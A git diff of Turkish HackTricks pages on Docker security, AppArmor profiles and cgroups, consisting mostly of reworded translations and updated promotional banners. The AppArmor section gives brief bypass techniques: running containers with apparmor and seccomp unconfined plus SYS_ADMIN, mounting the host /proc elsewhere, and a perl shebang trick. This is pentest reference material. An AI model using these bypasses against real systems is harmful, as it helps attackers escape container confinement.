kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) süid ikili dosyalar aracılığıyla örneğin daha fazla ayrıcalık kazanmalarını önlemek için. * [**Konteynere sağlanan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir. -* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin. -* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır. +* **[Seccomp](https://docs.docker.com/engine/security/seccomp)**, [AppArmor](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin. +* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük veya [arka kapılı](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır. * **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.** -* **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur. -* Docker daemon'ı **açıklarsanız HTTPS** kullanın ve istemci ve sunucu kimlik doğrulaması yapın. -* Docker dosyanızda **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız. +* **Secret'larınızı akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur. +* Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması yapın. +* Dockerfile'ınızda **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY'nin bu yetenekleri yoktur. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız. * **Her mikro hizmet için ayrı konteynerler kullanın** * **Konteyner görüntülerini daha küçük yapın** ## Docker Kaçışı / Ayrıcalık Yükseltme -Eğer **bir Docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmaya ve ayrıcalıkları yükseltmeye** çalışabilirsiniz: +Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmaya ve ayrıcalıkları yükseltmeye** çalışabilirsiniz: {% content-ref url="docker-breakout-privilege-escalation/" %} [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) @@ -379,7 +380,7 @@ Eğer **bir Docker konteynerinin içindeyseniz** veya **docker grubunda bir kull ## Docker Kimlik Doğrulama Eklentisi Atlatma -Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, bunu **atlayıp atlayamayacağınızı kontrol edin:** +Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, **bunu atlayıp atlayamayacağınızı kontrol edin:** {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -388,7 +389,7 @@ Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya ## Docker Sıkılaştırma * [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtma etrafında onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\ -Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +Araç, docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Referanslar @@ -409,18 +410,22 @@ Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahi
\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: -* Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. + +
+{% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index 8c8ffc4f7..976d84f33 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -1,28 +1,29 @@ # AppArmor +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman yapmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} ### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io), **şirketin veya müşterilerinin** **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini kontrol etmek için ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. +[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. -WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. +WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. -Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: +Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz: {% embed url="https://whiteintel.io" %} @@ -30,7 +31,7 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: ## Temel Bilgiler -AppArmor, **programlara sağlanan kaynakları kısıtlamak için tasarlanmış bir çekirdek geliştirmesidir**, etkin bir şekilde Zorunlu Erişim Kontrolü (MAC) uygulayarak erişim kontrol özelliklerini doğrudan kullanıcılara değil programlara bağlayarak çalışır. Bu sistem, genellikle önyükleme sırasında profilleri çekirdeğe **yükleyerek** çalışır ve bu profiller bir programın erişebileceği kaynakları belirler, örneğin ağ bağlantıları, ham soket erişimi ve dosya izinleri gibi. +AppArmor, **programlara program profilleri aracılığıyla sunulan kaynakları kısıtlamayı amaçlayan bir çekirdek geliştirmesidir**, erişim kontrol özelliklerini doğrudan kullanıcılara değil programlara bağlayarak Zorunlu Erişim Kontrolü (MAC) uygulamaktadır. Bu sistem, genellikle önyükleme sırasında, profilleri çekirdeğe yükleyerek çalışır ve bu profiller bir programın erişebileceği kaynakları belirler, örneğin ağ bağlantıları, ham soket erişimi ve dosya izinleri gibi. AppArmor profilleri için iki işletim modu bulunmaktadır: @@ -41,13 +42,13 @@ AppArmor profilleri için iki işletim modu bulunmaktadır: * **Çekirdek Modülü**: Politikaların uygulanmasından sorumludur. * **Politikalar**: Program davranışı ve kaynak erişimi için kuralları ve kısıtlamaları belirtir. -* **Ayrıştırıcı**: Politikaları çekirdeğe yükleme veya raporlama işlevini yerine getirir. +* **Ayrıştırıcı**: Politikaları çekirdeğe yükler ve uygular veya raporlar. * **Araçlar**: AppArmor ile etkileşimde bulunmak ve yönetmek için bir arayüz sağlayan kullanıcı modu programlarıdır. ### Profil Yolu -Apparmor profilleri genellikle _**/etc/apparmor.d/**_ klasöründe saklanır\ -`sudo aa-status` komutuyla kısıtlanan ikili dosyaları listeleyebilirsiniz. Listelenen her ikili dosyanın yolundaki "/" karakterini bir noktaya değiştirirseniz, bahsedilen klasördeki apparmor profilinin adını elde edersiniz. +Apparmor profilleri genellikle _**/etc/apparmor.d/**_ dizininde saklanır.\ +`sudo aa-status` komutu ile bazı profiller tarafından kısıtlanan ikili dosyaları listeleyebilirsiniz. Listelenen her ikili dosyanın yolundaki "/" karakterini bir noktaya değiştirirseniz, bahsedilen klasördeki apparmor profilinin adını elde edersiniz. Örneğin, _/usr/bin/man_ için bir **apparmor** profili _/etc/apparmor.d/usr.bin.man_ konumunda olacaktır. @@ -67,19 +68,19 @@ aa-mergeprof #used to merge the policies * **Dosyalar** üzerinde yürütülecek erişimi belirtmek için aşağıdaki **erişim kontrolleri** kullanılabilir: * **r** (okuma) * **w** (yazma) -* **m** (belleğe eşleme olarak yürütme) +* **m** (bellek haritası olarak yürütme) * **k** (dosya kilitleme) * **l** (sert bağlantı oluşturma) * **ix** (yeni programın politikayı devralarak başka bir programı yürütmesi için) * **Px** (ortamı temizledikten sonra başka bir profil altında yürütme) * **Cx** (ortamı temizledikten sonra başka bir alt profil altında yürütme) -* **Ux** (ortamı temizledikten sonra kısıtsız yürütme) +* **Ux** (ortamı temizledikten sonra kısıtlanmamış olarak yürütme) * **Değişkenler** profillerde tanımlanabilir ve profilden dışarıdan manipüle edilebilir. Örneğin: @{PROC} ve @{HOME} (profil dosyasına #include \ ekleyin) * **İzin verme kurallarını geçersiz kılmak için reddetme kuralları desteklenir**. ### aa-genprof -Profil oluşturmaya başlamak için apparmor size yardımcı olabilir. **Apparmor'un bir binary tarafından gerçekleştirilen eylemleri incelemesine ve ardından hangi eylemleri izin vermek veya reddetmek istediğinize karar vermenize olanak tanımasına** yardımcı olabilir.\ +Profil oluşturmaya kolayca başlamak için apparmor size yardımcı olabilir. **Bir yürütülebilir tarafından gerçekleştirilen eylemleri incelemesine ve ardından hangi eylemleri izin vermek veya reddetmek istediğinize karar vermenize olanak tanır**.\ Sadece şunu çalıştırmanız yeterlidir: ```bash sudo aa-genprof /path/to/binary @@ -88,15 +89,15 @@ Ardından, farklı bir konsolda genellikle ikili dosyanın gerçekleştireceği ```bash /path/to/binary -a dosomething ``` -Ardından, ilk konsolda "**s**" tuşuna basın ve ardından kaydedilen eylemlerde ihmal etmek isteyip istemediğinizi, izin vermek isteyip istemediğinizi veya başka bir şey yapmak isteyip istemediğinizi belirtin. İşiniz bittiğinde "**f**" tuşuna basın ve yeni profil _/etc/apparmor.d/path.to.binary_ dizininde oluşturulacaktır. +Ardından, ilk konsolda "**s**" tuşuna basın ve kaydedilen eylemlerde ihmal etmek, izin vermek veya ne yapmak istediğinizi belirtin. İşlemi tamamladığınızda "**f**" tuşuna basın ve yeni profil _/etc/apparmor.d/path.to.binary_ dizininde oluşturulacaktır. {% hint style="info" %} -Yön tuşları kullanarak neyi izin vermek/engellemek/ihmal etmek istediğinizi seçebilirsiniz. +Yön tuşları kullanarak izin vermek/engellemek/ne yapmak istediğinizi seçebilirsiniz. {% endhint %} ### aa-easyprof -Ayrıca bir uygulamanın apparmor profil şablonunu oluşturabilirsiniz: +Ayrıca, bir uygulamanın apparmor profil şablonunu oluşturabilirsiniz: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -125,18 +126,18 @@ sudo aa-easyprof /path/to/binary Varsayılan olarak oluşturulan bir profilde hiçbir şey izin verilmez, bu nedenle her şey reddedilir. Örneğin, örneğin `/etc/passwd r,` gibi satırlar eklemeniz gerekecektir. {% endhint %} -Yeni profili ardından şu şekilde **zorlayabilirsiniz**: +Yeni profilinizi ardından şu şekilde **zorlayabilirsiniz**: ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` ### Günlüklerden bir profil değiştirme -Aşağıdaki araç, günlükleri okuyacak ve kullanıcıya tespit edilen yasak eylemlerin bazılarını izin verip vermek istemediğini soracaktır: +Aşağıdaki araç, günlükleri okuyacak ve kullanıcıya tespit edilen bazı yasaklanmış eylemlerin izin verilip verilmediğini sormak için soracak: ```bash sudo aa-logprof ``` {% hint style="info" %} -Ok tuşları kullanarak neyi izin vermek/engellemek/neyi olursa olsun seçebilirsiniz +Ok tuşları kullanarak neyi izin vermek/engellemek/neyi yapmak istediğinizi seçebilirsiniz {% endhint %} ### Profil Yönetimi @@ -174,7 +175,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` ## Docker'da Apparmor -Docker'ın **docker-profile** profili varsayılan olarak yüklendiğine dikkat edin: +Docker'ın **docker-profile** profili varsayılan olarak nasıl yüklendiğine dikkat edin: ```bash sudo aa-status apparmor module is loaded. @@ -190,15 +191,15 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` -Varsayılan olarak **Apparmor docker-default profil**'ü [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulur. +Varsayılan olarak **Apparmor docker-default profil**i [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulur. **docker-default profil Özeti**: - Tüm **ağa erişim** -- **Yetenek** tanımlanmamıştır (Ancak, bazı yetenekler temel kural içeren temel kural dosyalarını içerir #include \ ) +- **Yetenek** tanımlanmamıştır (Ancak, bazı yetenekler temel kural dosyalarını içererek gelecektir, yani #include \) - Herhangi bir **/proc** dosyasına **yazma izni yok** -- Diğer /**proc** ve /**sys** alt dizinleri/**dosyaları** okuma/yazma/kilitleme/bağlantı/çalıştırma erişimi **reddedilmiştir** -- **Bağlama** izni yok +- Diğer /**proc** ve /**sys** alt dizinleri/**dosyaları** okuma/yazma/kilitleme/bağlantı/çalıştırma erişimine **izin verilmez** +- **Bağlama** izni **yok** - **Ptrace** yalnızca **aynı apparmor profil**i tarafından sınırlanmış bir işlemde çalıştırılabilir Bir **docker konteyneri çalıştırdıktan** sonra aşağıdaki çıktıyı görmelisiniz: @@ -212,11 +213,11 @@ docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` -Apparmor kısıtlamalarını atlamak için **apparmor'ı devre dışı bırakmanız** gerekmektedir: +Apparmor kısıtlamalarını atlamak için **apparmor'u devre dışı bırakmanız** gerekmektedir: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -Varsayılan olarak **AppArmor** konteynerin içinden klasörleri bağlamasını da **yasaklayacaktır** SYS\_ADMIN yeteneği olsa bile. +Varsayılan olarak **AppArmor'ın**, **konteynerin içinden klasör bağlamasını yasaklayacağını** unutmayın, hatta SYS_ADMIN yeteneği ile bile. Docker konteynerine **yetenekler ekleyebilir/çıkarabilirsiniz** (bu hala **AppArmor** ve **Seccomp** gibi koruma yöntemleri tarafından kısıtlanacaktır): @@ -225,7 +226,7 @@ Docker konteynerine **yetenekler ekleyebilir/çıkarabilirsiniz** (bu hala **App * `--cap-drop=ALL --cap-add=SYS_PTRACE` tüm yetenekleri kaldırır ve sadece `SYS_PTRACE` yeteneğini verir {% hint style="info" %} -Genellikle, bir **docker** konteynerinin **içinde** bir **ayrıcalıklı yeteneğin** bulunduğunu **fark ettiğinizde** ve **saldırının bazı kısımlarının çalışmadığını gördüğünüzde**, bunun nedeni docker **apparmor'ın bunu engelliyor olması** olabilir. +Genellikle, bir **docker** konteyneri **içinde** bir **açık yeteneğin** bulunduğunu **fark ettiğinizde** ve **saldırının bazı kısımlarının çalışmadığını gördüğünüzde**, bunun nedeni docker **apparmor'ın bunu engelliyor olması** olacaktır. {% endhint %} ### Örnek @@ -245,28 +246,30 @@ Profilleri listelemek için aşağıdaki komutu kullanabiliriz. Aşağıdaki kom $ sudo apparmor_status | grep mydocker mydocker ``` -Aşağıda gösterildiği gibi, "AppArmor" profili "/etc/" dizinine yazma erişimini engellediği için " /etc/" dizinini değiştirmeye çalıştığımızda hata alırız. +Aşağıda gösterildiği gibi, "AppArmor" profili "/etc/" dizinine yazma erişimini engellediği için "/etc/" dizinini değiştirmeye çalıştığımızda hata alırız. ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` ### AppArmor Docker Bypass1 -Bir konteynerin çalıştırdığı **apparmor profilini** şu şekilde bulabilirsiniz: +Bir konteynerin çalıştırdığı **apparmor profilini** bulmak için şunu kullanabilirsiniz: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` -Ardından, kullanılan tam profilini bulmak için aşağıdaki satırı çalıştırabilirsiniz: +Ardından, kullanılan tam profil **bulmak için aşağıdaki komutu çalıştırabilirsiniz**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` -### AppArmor Docker Bypass2 +Eğer **apparmor docker profilini değiştirebilir ve yeniden yükleyebilirseniz** tuhaf bir durumda. Kısıtlamaları kaldırabilir ve onları "atlayabilirsiniz". -**AppArmor, yol tabanlıdır**, bu da demektir ki eğer **apparmor docker profilini değiştirebilir ve yeniden yükleyebilirseniz.** Kısıtlamaları kaldırabilir ve onları "atlayabilirsiniz." +### AppArmor Docker Atlatma2 -### AppArmor Shebang Bypass +**AppArmor yol tabanlıdır**, bu da demektir ki eğer **`/proc`** gibi bir dizin içindeki dosyaları koruyorsa bile, **konteynerin nasıl çalıştırılacağını yapılandırabilirseniz**, ana bilgisayarın proc dizinini **`/host/proc`** içine bağlayabilir ve bu artık AppArmor tarafından korunmaz. + +### AppArmor Shebang Atlatma Bu [**bu hata**](https://bugs.launchpad.net/apparmor/+bug/1911431)da, **belirli kaynaklarla perl'in çalışmasını engelliyorsanız bile**, sadece bir kabuk betiği oluşturursanız ve ilk satırda **`#!/usr/bin/perl`** belirtirseniz ve dosyayı doğrudan **çalıştırırsanız**, istediğinizi çalıştırabilirsiniz. Örn.: ```perl @@ -284,22 +287,23 @@ chmod +x /tmp/test.pl [**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize** edilip edilmediğini kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. -WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılım saldırılarıyla mücadele etmektir. +WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: {% embed url="https://whiteintel.io" %} +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/cgroups.md b/linux-hardening/privilege-escalation/docker-security/cgroups.md index 9b776ceb9..d65de0e13 100644 --- a/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -1,30 +1,31 @@ # CGroups +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'ı Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler **Linux Kontrol Grupları**, veya **cgroups**, Linux çekirdeğinin bir özelliğidir ve CPU, bellek ve disk G/Ç gibi sistem kaynaklarının süreç grupları arasında tahsisini, sınırlamasını ve önceliklendirmesini sağlar. **Süreç koleksiyonlarının kaynak kullanımını yönetme ve izole etme** mekanizması sunar, kaynak sınırlaması, iş yükü izolasyonu ve farklı süreç grupları arasında kaynak önceliklendirmesi gibi amaçlar için faydalıdır. -**Cgroups'ın iki sürümü** bulunmaktadır: sürüm 1 ve sürüm 2. Her ikisi de aynı anda bir sistemde kullanılabilir. Temel fark, **cgroups sürüm 2**'nin daha ayrıntılı ve detaylı kaynak dağıtımını sağlayan **hiyerarşik, ağaç benzeri bir yapı** getirmesidir. Ayrıca, sürüm 2, şunları içeren çeşitli iyileştirmeler getirir: +**Cgroups'ın iki versiyonu** bulunmaktadır: versiyon 1 ve versiyon 2. Her ikisi de aynı anda bir sistemde kullanılabilir. Temel fark, **cgroups versiyon 2**'nin **hiyerarşik, ağaç benzeri bir yapı** getirmesidir, süreç grupları arasında daha nüanslı ve detaylı kaynak dağıtımını sağlar. Ayrıca, versiyon 2, şunları içeren çeşitli iyileştirmeler getirir: -Yeni hiyerarşik organizasyonun yanı sıra, cgroups sürüm 2 ayrıca **birkaç diğer değişiklik ve iyileştirmeyi** de tanıttı, yeni kaynak denetleyicileri desteği, eski uygulamalar için daha iyi destek ve geliştirilmiş performans. +Yeni hiyerarşik organizasyonun yanı sıra, cgroups versiyon 2 ayrıca **birkaç diğer değişiklik ve iyileştirmeyi** de tanıttı, yeni kaynak denetleyicilerini destekleme, eski uygulamalar için daha iyi destek ve geliştirilmiş performans dahil. -Genel olarak, cgroups **sürüm 2, sürüm 1'den daha fazla özellik ve daha iyi performans** sunar, ancak eski sistemlerle uyumluluk 